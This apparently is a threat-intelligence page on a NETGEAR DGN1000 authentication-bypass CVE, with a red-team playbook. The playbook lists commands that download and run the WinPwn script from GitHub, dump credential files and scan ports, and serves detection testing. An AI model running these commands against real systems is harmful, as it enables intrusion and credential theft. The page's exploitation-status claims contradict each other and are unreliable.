CVE-2024-12847

CRITICAL EXPLOIT TTE Zero-Day Pub 10/01 Upd 07/04

Overview

The vulnerability in NETGEAR DGN1000 firmware prior to version 1.1.00.48 is an authentication bypass that enables unauthorized remote command execution. The root cause lies in insufficient access control on the setup.cgi endpoint, which fails to validate user credentials before processing HTTP requests. This flaw affects the device's web-based configuration interface, allowing crafted requests to bypass authentication mechanisms.

Vulnerability Description

NETGEAR DGN1000 before 1.1.00.48 is vulnerable to an authentication bypass vulnerability. A remote and unauthenticated attacker can execute arbitrary operating system commands as root by sending crafted HTTP requests to the setup.cgi endpoint. This vulnerability has been observed to be exploited in the wild since at least 2017 and specifically by the Shadowserver Foundation on 2025-02-06 UTC.

Impact

An unauthenticated remote attacker can execute arbitrary commands as root on the affected device by sending crafted HTTP requests, enabling full control over the system. No authentication or user interaction is required, and the attack can be launched over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to complete device compromise, allowing attackers to disrupt services, exfiltrate data, or use the device as a foothold for further network intrusion.

Solution

Users should upgrade NETGEAR DGN1000 firmware to version 1.1.00.48 or later, which addresses the authentication bypass vulnerability. The fix is documented in the NETGEAR security advisory available through referenced exploit databases and security mailing lists. No official workaround is provided; therefore, timely firmware update is critical to mitigate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The authentication bypass vulnerability in the NETGEAR DGN1000 router firmware presents a significant security risk due to its ability to allow unauthorized remote access to the device. This flaw exists in the setup.cgi endpoint, which is responsible for handling configuration requests. By exploiting this vulnerability, an attacker can send specially crafted HTTP requests that bypass the authentication mechanism, enabling them to execute arbitrary operating system commands with root privileges. Such a breach can lead to complete control over the device, allowing for further exploitation of the network to which the router is connected.

Attack vectors for this vulnerability are primarily remote, meaning that an attacker does not need physical access to the device to exploit it. The exploitation can occur through various means, including scanning for vulnerable devices on the internet or targeting specific IP addresses known to host the affected firmware version. Once the attacker identifies a target, they can craft HTTP requests that manipulate the setup.cgi endpoint, leading to command execution. This type of attack can be particularly insidious, as it can be automated and executed at scale, impacting numerous devices simultaneously. Additionally, the potential for exploitation has been observed in the wild, indicating that threat actors are actively leveraging this vulnerability for malicious purposes.

The real-world impact of this vulnerability is profound, particularly for businesses that rely on the NETGEAR DGN1000 for their networking needs. Successful exploitation can lead to unauthorized access to sensitive data, compromise of internal networks, and the potential for lateral movement to other connected devices. The risk extends beyond immediate data breaches; it can also result in significant financial losses, reputational damage, and regulatory repercussions, especially if customer data is involved. Organizations may face increased scrutiny from regulatory bodies and a loss of customer trust, which can have long-term effects on their operations and market position.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can be employed to detect unusual traffic patterns or unauthorized access attempts to the setup.cgi endpoint. Additionally, implementing firewall rules to restrict access to the management interfaces of the router can significantly reduce the attack surface. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.

In conclusion, the authentication bypass vulnerability in the NETGEAR DGN1000 poses a critical threat that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world implications is essential for effective risk management. By adopting robust detection and mitigation strategies, organizations can safeguard their networks against exploitation and enhance their overall cybersecurity posture.



CSURFACE threat intelligence has identified a notable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12847, rising by over 10% to a current value near 0.79, placing it in the 99th percentile for exploit likelihood. This upward adjustment occurs despite a significant reduction in detection activity reported by our telemetry, suggesting that while active exploitation attempts may have temporarily declined, the overall risk of exploitation remains critically high. The divergence between lower detection rates and a rising EPSS score indicates potential shifts in attacker tactics, possibly involving more targeted or stealthy operations that evade conventional detection methods. This evolving landscape underscores the persistent threat posed by this authentication bypass vulnerability, particularly given its long history of exploitation and the availability of Metasploit modules facilitating unauthenticated root command execution. Consequently, defenders should recognize that the elevated EPSS score reflects an increased probability of exploitation attempts in the near term, warranting sustained vigilance despite the apparent dip in observed activity. The risk level remains critical, with the potential for severe operational impact if exploited, reinforcing the need for continuous monitoring and adaptive defensive postures.


Update 2 — June 22, 2026

CSURFACE threat intelligence has identified a modest increase in exploitation attempts targeting the NETGEAR DGN1000 authentication bypass vulnerability, as reflected by a slight rise in detection activity across our sensors. Despite this uptick, the EPSS score has declined significantly, indicating a reduced overall likelihood of widespread exploitation in the immediate term. This divergence suggests that while opportunistic or targeted attacks may be persisting or marginally increasing, the broader exploit momentum is waning. For defenders, this nuanced shift underscores the importance of maintaining vigilance without overestimating the immediacy of the threat. The availability of Metasploit modules continues to facilitate exploitation, but the decreasing EPSS trend may reflect improved patch adoption or shifting attacker focus. Consequently, the risk level remains critical due to the vulnerability’s inherent severity and potential impact, yet the current threat landscape signals a stabilization rather than escalation in active exploitation campaigns.

Affected Products (1)

Vendor Product Version CPE
netgear Netgear Dgn1000 Firmware All cpe:2.3:o:netgear:dgn1000_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Netgear DGN1000 Setup.cgi Unauthenticated RCE
exploits/linux/http/netgear_dgn1000_setup_unauth_exec
 Mumbai, Robort Palerie <[email protected]> Unknown - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

31 events
2026-08-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-26
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2026-08-25
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2026-08-24
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2026-08-23
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2026-08-22
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2026-08-21
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2026-08-20
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2026-08-19
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2026-08-18
Threat Sensor Sighting — Few sightings

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2026-08-17
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2026-08-16
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2026-08-15
Threat Sensor Sighting — Few sightings

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2026-08-14
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2026-08-13
Threat Sensor Sighting — Few sightings

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2026-08-12
Threat Sensor Sighting — Few sightings

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2026-08-11
Threat Sensor Sighting — Few sightings

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2026-08-10
Threat Sensor Sighting — Few sightings

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2026-08-09
Threat Sensor Sighting — Few sightings

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2026-08-08
Threat Sensor Sighting — Few sightings

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2026-08-07
Threat Sensor Sighting — Few sightings

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2026-08-06
Threat Sensor Sighting — Few sightings

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2026-08-05
Threat Sensor Sighting — Few sightings

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2026-08-04
Threat Sensor Sighting — Few sightings

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2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Few sightings

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2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2013-06-05
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
OS Command Injection
95% command_injection
Remote Code Execution
80% rce
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
54%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High
CAPEC-6 Argument Injection
48%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-12847
seclists.org
GitHub CVE third-party-advisory technical-description
https://seclists.org/bugtraq/2013/Jun/8
exploit-db.com
GitHub CVE exploit
https://www.exploit-db.com/exploits/25978
exploit-db.com
GitHub CVE exploit
https://www.exploit-db.com/exploits/43055
vulncheck.com
GitHub CVE third-party-advisory
https://vulncheck.com/advisories/netgear-dgn